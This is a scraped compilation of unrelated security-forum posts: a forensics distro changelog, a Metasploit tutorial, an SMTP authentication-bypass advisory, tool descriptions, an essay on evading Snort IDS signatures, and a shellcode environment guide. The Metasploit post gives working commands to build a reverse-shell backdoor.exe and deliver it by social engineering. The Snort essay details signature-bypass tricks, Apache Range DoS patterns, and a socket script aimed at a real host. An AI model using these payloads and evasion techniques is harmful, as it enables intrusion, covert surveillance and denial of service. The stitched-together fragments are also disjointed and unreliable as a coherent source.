DEFT
(Digital Evidence & Forensic Toolkit) is a customised distribution
of the Lubuntu live Linux CD. It is an easy-to-use system that includes
excellent hardware detection and some of the best open-source
applications dedicated to incident response and computer forensics.
New features:
- Based on Lubuntu 11.10
- Installable Distro
- Linux kernel 3.0.0-12, USB 3 ready
- Libewf 20100226
- Afflib 3.6.14
- TSK 3.2.3
- Autopsy 2.24
- Digital Forensic Framework 1.2
- PTK Forensic 1.0.5 DEFT edition
- Maltego CE
- KeepNote 0.7.6
- Xplico 0.7.1
- Scalpel 2
- Hunchbackeed Foremost 0.6
- Findwild 1.3
- Bulk Extractor 1.1
- Emule Forensic 1.0
- Guymager 0.6.3-1
- Dhash 2
- Cyclone wizard acquire tool
- SQLite Database Browser 2.0b1
- BitPim 1.0.7
- Bbwhatsapp database converter
- Creepy 0.1.9
- Hydra 7.1
- Log2timeline 0.60
- Wine 1.3.28
Download: http://www.mirrordeft.net
In this
tutorial i will exploit a Windows 7 Sp1 OS using Metasploit. i will be
using the exploit/multi/handler module which “provides all of the
features of the Metasploit payload system to exploits that have been
launched outside of the framework“
Before we fire
up Metasploit, we need to create a payload in order to gain a
meterpreter shell. To create a payload type this in the terminal without
the quotes:
msfpayload windows/meterpreter/reverse_tcp LHOST=”your Local IP” LPORT=”listening port” x > /root/backdoor.exe
I used port
4444 (you can choose your own port) for the LPORT which is the listening
port and set the LHOST to the IP of the remote attacker which is
obviously your Local IP address, my IP is 192.168.10.5.
After that, you
should be able to see a file named as backdoor.exe in /root. Send the
file to the victim by using your Social Engineering skills and let him
click the file. You can change the name of the file so that it is not
that obvious.
Launch Metasploit and set the exploit by typing these commands in your msfconsole:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.10.5
set lport 4444
exploit
If all goes well, you should be able to establish a meterpreter session. Type sysinfo
to gather some info on the machine. To know other commands for the
meterpreter type help. There are also other meterpreter commands like
capturing the screenshot of the PC, record keystrokes, capture a
snapshot from a webcam, etc. To enter the command shell of the machine,
type shell.
it,s cool to take a screenshot with meterpreter command screenshot.
Title: Simple Mail Server - SMTP Authentication Bypass Vulnerability
Software : Simple Mail Server
Software Version : 2011-12-30
Vendor: http://simplemailsvr.sourceforge.net/
Class: Origin Validation Error
CVE:
Remote: Yes
Local: No
Published: 2012-01-08
Updated:
CVSS2 Base: 6.4 (AV:N/AC:L/Au:N/C:P/I:N/A:P)
Impact : Medium (4 < 6.4 < 8)
Bug Description :
Simple Mail Server is a tiny Mail Server written in C#. It can be sent mail without password by using usual tcp
client(such as telnet).
And it did not have SMTP authentication contoller.
POC(Remarks: domain alex.com and user alex () alex com must be exists in configuration for this test case):
telnet 127.0.0.1 25
220 TEST-121F797342 SMTP ready.
EHLO mail_of_alert
500 Not supported. Use HELO
MAIL FROM:
250 OK
RCPT TO:
250 OK
Data
354 Start mail input; end with .
From: "alex () alex com"
To: "alex () alex com"
Subject: authenticate is not required!
SSLSmart, a
highly flexible and interactive tool aimed at improving efficiency and
reducing the false positives during SSL testing.
Among other
things, SSLSmart simply an advanced and highly flexible Ruby based smart
SSL cipher enumeration tool. It is an open source, cross platform, free
tool. It was programmed because a number of tools on the Windows
platform allow users to test for supported SSL ciphers suites, but most
only provide testers with a fixed set of cipher suites. Further testing
is performed by initiating an SSL socket connection with one cipher
suite at a time, an inefficient approach that leads to false positives
and often does not provide a clear picture of the true vulnerability of
the server. SSLSmart is designed to combat these shortcomings.
SSLSmart Features:
SSLSmart offers
a wide range of features to improve testing efficiency and reduce false
positives. These features are as follows:
- Content Scan (default): Exact server response can be seen in HTML and Text forms for each
- cipher
suite selected for the test URL. Basically, it shows various server
error messages received for weak cipher suites from live systems.
- CONNECT
Scan: Focuses only on success or failure of SSL socket connection with
various cipher suites. This behavior does not offer any advantage over
existing SSL testing tools and is thus likely to have similar issues
with false positives. However, this scan is faster and consumes fewer
network and CPU resources.
- Dynamic
Cipher Suite Support: Most SSL testing tools provide a fixed set of
cipher suites. SSLSmart hooks into Ruby OpenSSL bindings and offers
dynamic “on the fly” cipher suite generation capabilities.
- Certificate
Verification: SSLSmart performs server certificate verification. It
uses the Firefox Root CA Certificate4 repository to perform Root CA
verification. Additional Root CA Certificates can be added to the
rootcerts.pem file or a custom .pem file can be supplied for Root CA
Certificate verification.
- Proxy Support: SSLSmart provides web proxy support. For results to be accurate, it is important to use a transparent proxy5.
- Reporting:
Reports can be generated in XML, HTML and Text formats along with their
verbose versions. Verbose report versions include complete application
response for each cipher suite and full details of the server
certificate.
- API’s:
Monkey patched Ruby API’s that form the backbone of SSLSmart can be
consumed to write custom Ruby scripts for quick tests. These API’s can
be consumed by users who work with the SSLSmart gem.
What i liked
the most about this tool is that SSLSmart supports XML, HTML, Text and
their corresponding verbose reporting versions. In addition to details
in the normal report, verbose versions include complete application
responses for each cipher suite and full details of server certificates.
Another feature that i liked is the API support. These API’s form the
backbone for SSLSmart tests can be used to write custom scripts.
SSLSmart gem includes source code and can be used by users who have Ruby
installed on their systems and it comes from McAfee labs!
Platform Support and Installers:
SSLSmart has been tested to work on the following platforms and versions of Ruby:
Windows: Ruby 1.8.6 with wxruby6 (2.0.0) and builder7 (2.1.2).
Linux: Ruby 1.8.7/1.9.1 with wxruby (2.0.0) and builder (2.1.2).
Download SSLSmart:
SSLSmart 1.0 – SSLSmart-Gem-Win-Installer.zip/sslsmart-1.0.gem – http://downloadcenter.mcafee.com/products/tools/foundstone/SSLSmart-Gem-Win-Installer.zip
*Please
note that this does not include the multitude of configuration errors
(disabled by default checks like POST search/bad preprocessor
configurations like minimum fragment length) nor network vs. host-based
issues like fragment reassembly.
For configuration errors by default, please check http://cvs.snort.org....cgi/snort/doc/ and
read appropriate preproc documents for disabled checks. By host, please
check snort.conf. By network vs. host based issues, please google ids
evasion.*
Today
we're going to be taking a look at Snort signatures that are pushed by
the public (amateur/community) and by professional signature writers.
This paper will take a look at how to bypass these signatures once we
have access to them and prove that modern signatures are as useful as
modern antivirus engines. In particular, Snort signatures will be looked
at as it is likely the most popular ids/ips solution and a lot of its
content is made publicly available. We will start off with the mentality
of signature writers and the mistakes they usually make. While this
focuses on Snort, consider other IDS/IPS solutions and how these
techniques may benefit you in other secured environments.
### Amateur/Average User Signatures ###
First
off, before any kind of details against specific signature arguments
are seen, let's get generic. People writing signatures are typically on a
timeline. Also, people writing these signatures aren't necessarily
vulnerability researchers and may not even understand the vulnerability
or bug being presented to them. Because of this, it should be obvious
that your attack should deviate from the public exploit as much as
possible. Sometimes there are community exploit detections that are
released just to say you have a signature so some company can keep
feeling secure (happens ALL the time) against the skiddles. Look at the
recent overlapping ranges DoS attack on Apache for a perfect example.
When the new technique for this bug came out everyone was scampering for
rules to appeas corporations and/or the public. So some of the newest
content that comes out will likely be pushed to production in haste.
On to the bug itself, the overlapping ranges attack is rather humerous. The attack pattern is something like:
Range: bytes=0-,0-20,1-20,2-20,3-20...
These
ranges can be added any number of times and will generate a new request
in memory for every range requested. Any range that is unhandled will
request all bytes until end of file. So 0- is 0-EOF. The server code
handling these ranges is not very optimized, so hundreds of requests can
be made causing high memory utilization. Sending hundreds of packets
for hundreds of range requests that is not optmially handled will result
in memory starvation rather quickly.
Here is the initial signature discussion on full disclosure:
http://seclists.org/...re/2011/Aug/289
1.)
alert tcp $EXTERNAL_NET any -> any 80 (msg:"INBOUND Apache Killer
script: Local web server is under attack."; content:"Range:bytes=0-";
classtype: denial-of-service; threshold: type threshold, track by_src,
count 5 , seconds 20; sid:3000005;)
2.)
alert tcp any any -> any $HTTP_PORTS (content:"Range"; nocase;
http_header; pcre:"/(\d\,){6,}/xH"; http_header; msg:"Apache DOShttp://seclists.org/fulldisclosure/2011/Aug/175"; reference:cve,2011-3192 )
3.) pcre: "/^Range:bytes\s+\d+-\d?,\d+-\d+,\d+-\d+,\d+-\d+,\d+-\d+,\d+-\d+,/xH"; http_header;
The
first signature is very easy to bypass. This was made for the public
exploit and specifying a number other than 0- will allow you to bypass
the signature. Not only that, but nocase was never specified. This would
mean that ByTes would bypass this signature. Also, spacing between the
header and argument is going to invalidate the signature. Spacing is
actually a huge menace to signatures trying to be specific for
optimization reasons, more on this in later sections.
The
second signature would actually not work on any exploit attempt for
this bug. The pcre does not check for a dash, only a character followed
by a comma six sequential times. As no consideration for the dash is in
there, this would never fire. I'm glad this was seen because people do
push signatures out to the public that do not work on the exploit in
question.
The
third signature is more interesting to us in a bypass sense. The regex
looks for any amount of digits followed by a dash and any amount of
digits. /xH stands for ignore whitespace characters (in the regex
expression) and H is specific to Snort PCRE. In the Snort manual H is
specified as:
"Match
normalized HTTP request or HTTP response header (Similar to http
header). This modifier is not allowed with the unnormalized HTTP request
or HTTP response header modifier(D) for the same content. For SIP
message, match SIP header for request or response (Similar to sip
header)."
What
normalize does not do is be case insensitive (/i). So mixing case
values will invalidate this signature and effectively allow you to
bypass it.
**Don't
give the guy on the list shit, he gave out free information and made a
valiant attempt at detection. That's more than I can say for a lot of
people.
### Community/Official Signatures ###
Alright,
let's step up our targets and stop picking on amateur/novice writer
signatures. Let's take a look at the emerging threats community
signatures. A very popular choice for free signatures. Most companies
will sign up for these signatures and place them in their environment as
is. Also, sometimes people who write their own signatures will see that
one is already created for it and not even bother to validate or write
their own. These emerging threats community rules are freely distributed
at:
http://rules.emergingthreats.net/
We'll take a look at the same vulnerability. There are two rules in emerging threats related to this attack:
1.)
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ET SCAN
Kingcope KillApache.pl Apache mod_deflate DoS attempt";
flow:established,to_server;
content:"Range|3a|bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14";
http_header; fast_pattern:only; classtype:attempted-dos;
reference:url,seclists.org/fulldisclosure/2011/Aug/175; sid:2013472;
rev:2;)
2.)
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ET SCAN
Apache mod_deflate DoS via many multiple byte Range values";
flow:established,to_server; content:"Range|3a|"; nocase; http_header;
content:"bytes="; http_header; fast_pattern; nocase; distance:0;
isdataat:10,relative; content:","; http_header; within:11;
isdataat:10,relative; content:","; http_header; within:11;
isdataat:10,relative; content:","; http_header; within:11;
isdataat:70,relative; content:!"|0d 0a|"; within:12;
pcre:"/Range\x3a\s?bytes=[-0-9,\x20]{100,}/iH"; classtype:attempted-dos;
reference:url,seclists.org/fulldisclosure/2011/Aug/175; sid:2013473;
rev:1;)
The
first one is obviously checking for the public exploit. Not only is it
doing that, but it's even more specific (thus worse) to the public
exploit than the amateur rule. This just goes to show that just because a
rule may be in an 'official' release doesn't mean it's really all that
good.
The
second one is much more involved to the attack and is close to a
hardened detection. There's a lot of junk to look at, but most of the
signature is really only used for optimization before it hits the pcre
engine as pcre is an expensive luxury to a sensor. The main meat of the
signature is "pcre:"/Range\x3a\s?bytes=[-0-9,\x20]{100,}/iH";". /iH
means normalize the url and do not worry about case sensitivity. The
problem is normalization doesn't remove extra whitespace characters.
While we look for valid whitespace in certain areas (between range/bytes
and in the range itself), the signature does not check between bytes
and the specified ranges. Also, note the valid attempt at checking for a
space between Range: and bytes only checks for one whitespace character
(\s?). So, to invalidate the regex, simply use "bytes = range-values".
### Professional Signatures ###
How
about those companies with the budget for good signatures? Professional
signatures usually have very good expressions because the authors work
with them all the time. A good idea of professional signature quality
lies in SourceFire's own VRT team:
http://www.snort.org/start/rules
New
rules are released often and you can get them for free after the
initial 30 days of release. This is a great service as it is current and
the rules are usually decent. Of course, the rules have problems just
like everyone else. Unfortunately, I can't give away any information on
VRT rules that aren't past the 30 day mark. The example signature I want
to use is in this 30 day, so I can't show their signature. Instead,
let's consider a proof of concept attack for my made up protocol:
retrieve /happygoat
argument:nomnom=nom-mem.nom-mem.nom-mem.nom-mem.nom-mem.nom-mem
from pacmanfever.com
Now, let's say a professional pcre would look like:
pcre:"/^argument\x3anomnom=([\w\x20\x2D]+\x2e){4,}/Hsmi";
This
would effectively check for the public attack. The regex grouping would
catch our nom-nom attack appropriately. /Hsmi is case insensitive,
allow . in expression to include a new line, treat string as line of
characters, and normalize the url. However, none of these arguments
strip or allow for excess whitespace. So, by placing a space between
argument and \x31, \x3a and nomnom, or nomnom and =, then we would
effectively bypass this signature.
These
regex expressions are usually very detailed when it comes to the
attack, however there is a lack of detail for variations in the
legitimate portion of how it's called.
### depth ###
Now,
to get away from rule writers and on to snort specifics. The problems
usually lie when the writer wants to optimize their rules so it's not so
taxing on snort to validate. A major problem lies in depth. According
to the snort manual, depth is:
"The
depth keyword allows the rule writer to specify how far into a packet
Snort should search for the specified pattern. depth modifies the
previous ‘content’ keyword in the rule.
A depth of 5 would tell Snort to only look for the specified pattern within the first 5 bytes of the payload."
I went ahead and just picked a random rule for an example. Here's a good one:
alert
tcp $EXTERNAL_NET any -> $HOME_NET 3057 (msg:"WEB-MISC Borland
StarTeam Multicast Service buffer overflow attempt";
flow:established,to_server; content:"GET AAAAAAAAAAAAAAAAAAAAA";
depth:25; reference:bugtraq,28602; reference:cve,2008-0311;
classtype:attempted-admin; sid:16283; tag:session,5,packets; rev:1;)
There
are two interesting bypasses here to look at. The first is with the
attempted content match. Depth is stating that the content match must be
found within the 25 bytes from offset 0 into the payload (which the
author misjudged as the start of the command). However, if something
could be inserted into the payload before GET, while causing no problems
to the injection itself, then it would bypass the depth limit and
invalidate the signature.
So
the goal becomes finding a byte or more that can be introduced into the
payload before the injection. Unfortunately, \x20 would reveal a bad
request error and not allow us to execute the wanted command. However, a
new line can be introduced before the GET sequence to bypass the depth
restriction. In fact, many new line characters can be used. I tested
this out with a simple raw socket python script that looks for return
method back. Appropriate line:
import socket
from time import sleep
payload = ("\x0d\x0a"*3)
request = "GET /news.php HTTP/1.1\r\nHost: securityoverride.com\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("206.214.216.120", 80))
s.send(payload+request)
sleep(1)
reply = s.recv(25)
if (reply.find("200") != -1):
if (raw_input("200 OK found, verify? (y/n):\t") == "y"):
dumpbuff = s.recv(2048) # increase for verification content
print(dumpbuff)
s.close()
The raw bytes coming across (to make sure the byte is actually coming through in our payload):
0d0a 0d0a 0d0a 4745 5420 2f6e :nR.......GET./n
And, validation response:
HTTP/1.1 200 OK (looked through payload, appropriate page seen)
Of
course, a simple fuzzer in the payload portion can find characters that
can be placed in front of the method to check for allowed characters to
use. We could also see what types of encodings are allowed and see if
we can expand our usable characters. This way we aren't getting trapped
by (byte){x,} type signatures in the future. Speaking of \x20 (space),
we can issue this inbetween the http method and the actual URI request.
GET \x20\x20\x20\x20/news.php HTTP/1.1 is as valid as:
GET /news.php HTTP/1.1
*Originally proved using an FTP signature. These are all over.
### within ###
Within is defined in the snort manual as:
"The
within keyword is a content modifier that makes sure that at most N
bytes are between pattern matches using the content keyword ( See
Section 3.5.1 ). It’s designed to be used in conjunction with the
distance (Section 3.5.6) rule option."
Please
read the depth section for issues with within modifiers. Take note that
both depth and within are highly used in snort signatures.
### Takeaway Lessons ###
Remember,
more and more signatures are always being written. Despite what you
think or what people tell you, more signatures isn't a good thing. More
signatures means that Snort and other systems will have a heavier load
while processing, parsing, and analyzing packets. PCRE is an expensive
operation as well, so verification will be attempted as much as possible
before PCRE is done so it doesn't need to load the engine. Given this,
ways to optimize will keep coming out and that will include hard-defined
pointers to start looking for specific content and even where to stop
looking. Mess with the protocol and see what kind of valid bytes you can
throw before/after commands/injections, before/after arguments, in the
middle of arguments/commands and etc. Simple bypasses are going to want
to include mixing cases, including spaces wherever possible, and
obviously deviating from the public exploit as much as possible.
The
more interesting mutations are going to be created by fuzzing the
protocol the attack is on, inserting bytes into the attack call and
seeing if the injection still fires. Of course, depending on how the
exploit works, you don't have to test with an exploit but valid commands
and see if they still fire. I will be going more into this idea on
future articles with backing scripts.
Also,
not mentioned above, internal attacks are much easier to get passed
ids/ips. Because of said optimization, lots of rules are defined as
external traffic coming to internal hosts so they don't have to bother
with parsing further into ALL traffic to/from a host in your home
network. Internal network attacks against applications (layer 7) are not
usually defined to even check for such attacks. Most signatures for
such services are like:
alert $EXTERNAL_NET any -> $HOME_NET any
$EXTERNAL_NET can also be defined as !$HOME_NET
Introduction
This article/tutorial assumes you have some common sense and some knowledge.
I won't be explaining what shell code, DLL's, Memory Adresses etc...
You should know that before starting on this.
Environment
Initially we will be focusing on creating Windows Assembly; however, Linux is really
good for developing assembly and shell code. But because we are on windows we'll
use Cygwin.
Download the Cygwin installer from here:
http://www.cygwin.com/setup.exe
During the Cygwin installation you will be asked to select wich packages you wish
to install. The following packages are usefull for creating assembly and shellcode.
* Devel > binutils
* Devel > gcc
* Devel > make
* Devel > nasm
* Devel > gdb
* Editors > hexedit
* Editors > vim
* Net > netcat
* System > util-linux
Tools
Once you have the Cygwin environment setup, download the following tools. Save them within your
Cygwin environment, copy them to something like: C:\cygwin\home\Administrator\shellcode\
(Where Adminstrator is your username)
xxd-shellcode.sh
Parses xxd output to extract raw shellcode
http://www.projectsh...xd-shellcode.sh
shellcode-compiler.sh
Automatically
compiles the assembly code, extracts the raw shellcode, creates a
Unicode encoded version of the raw shellcode, injects your encoded
shellcode into a "Template Exploit" (ms07-004) for testing, creates a C
test program containing your shellcode, and then compiles it ready to
execute!
http://www.projectsh...de-compiler.zip
arwin.c
Win32 DLL address resolution program
http://www.vividmach...ellcode/arwin.c
shellcodetest.c
http://www.vividmach...shellcodetest.c
findFunctionInDLL.sh
Finds which DLLs on your system contain a specific Windows function
http://www.projectsh...unctionInDLL.sh
Start up a bash shell from the start menu and CD to your 'shellcode directory', such as:
cd /home/Administrator/shellcode
You now need to compile arwin.c by using the following command:
gcc -o arwin arwin.c
You should now be able to run arwin by typing ./arwin to display the usage information.
We don't need to compile shellcodetest.c at this stage. Once we have created our shell code,
then place the shellcode into shellcodetest.c and compile it. This allows us to run shellcodetest
to execute our shellcode.
If you followed along you should now be ready to start developing shell code.
This
utility scans the passwords stored by popular Windows applications
(Microsoft Outlook, Internet Explorer, Mozilla Firefox, and more...) and
displays security information about all these passwords. The security
information of every stored password includes the total number of
characters, number of numeric characters, number of lowercase/uppercase
characters, number of repeating characters, and password strength. You
can use this tool to determine whether the passwords used by other users
are secured enough, without watching the passwords themselves
System Requirements
This utility works on any version of Windows, starting from Windows 2000 and up to Windows 7.
Supported Applications
Internet Explorer 4.0 - 6.0
Internet Explorer 7.0 - 9.0
Mozilla Firefox (All Versions)
Dialup/VPN passwords of Windows
MSN/Windows Messenger
Microsoft Outlook
Windows Live Mail
Support for more applications will be added in future versions.
Download: http://www.nirsoft.net
Posts
